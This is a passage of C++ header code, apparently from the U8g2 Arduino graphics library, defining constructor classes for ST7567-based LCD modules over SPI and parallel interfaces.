U8G2_ST7567_ENH_DG128064I_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_ENH_DG128064I_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_ENH_DG128064I_1_6800 : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_1_8080 : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_OS12864_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_OS12864_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_OS12864_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_OS12864_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_OS12864_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_OS12864_1_6800 : public U8G2 { public: U8G2_ST7567_OS12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_OS12864_1_8080 : public U8G2 { public: U8G2_ST7567_OS12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_JLX12864_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_JLX12864_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_JLX12864_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_JLX12864_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_JLX12864_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_JLX12864_2_6800 : public U8G2 { public: U8G2_ST7567_JLX12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_JLX12864_2_8080 : public U8G2 { public: U8G2_ST7567_JLX12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_ENH_DG128064_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_ENH_DG128064_2_6800 : public U8G2 { public: U8G2_ST7567_ENH_DG128064_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_2_8080 : public U8G2 { public: U8G2_ST7567_ENH_DG128064_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_ENH_DG128064I_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_ENH_DG128064I_2_6800 : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_2_8080 : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_OS12864_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_OS12864_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_OS12864_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_OS12864_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_OS12864_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_OS12864_2_6800 : public U8G2 { public: U8G2_ST7567_OS12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_OS12864_2_8080 : public U8G2 { public: U8G2_ST7567_OS12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_JLX12864_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_JLX12864_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_JLX12864_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_JLX12864_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_JLX12864_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_JLX12864_F_6800 : public U8G2 { public: U8G2_ST7567_JLX12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_JLX12864_F_8080 : public U8G2 { public: U8G2_ST7567_JLX12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_ENH_DG128064_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_ENH_DG128064_F_6800 : public U8G2 { public: U8G2_ST7567_ENH_DG128064_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_F_8080 : public U8G2 { public: U8G2_ST7567_ENH_DG128064_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_F_4W_SW_SPI(const 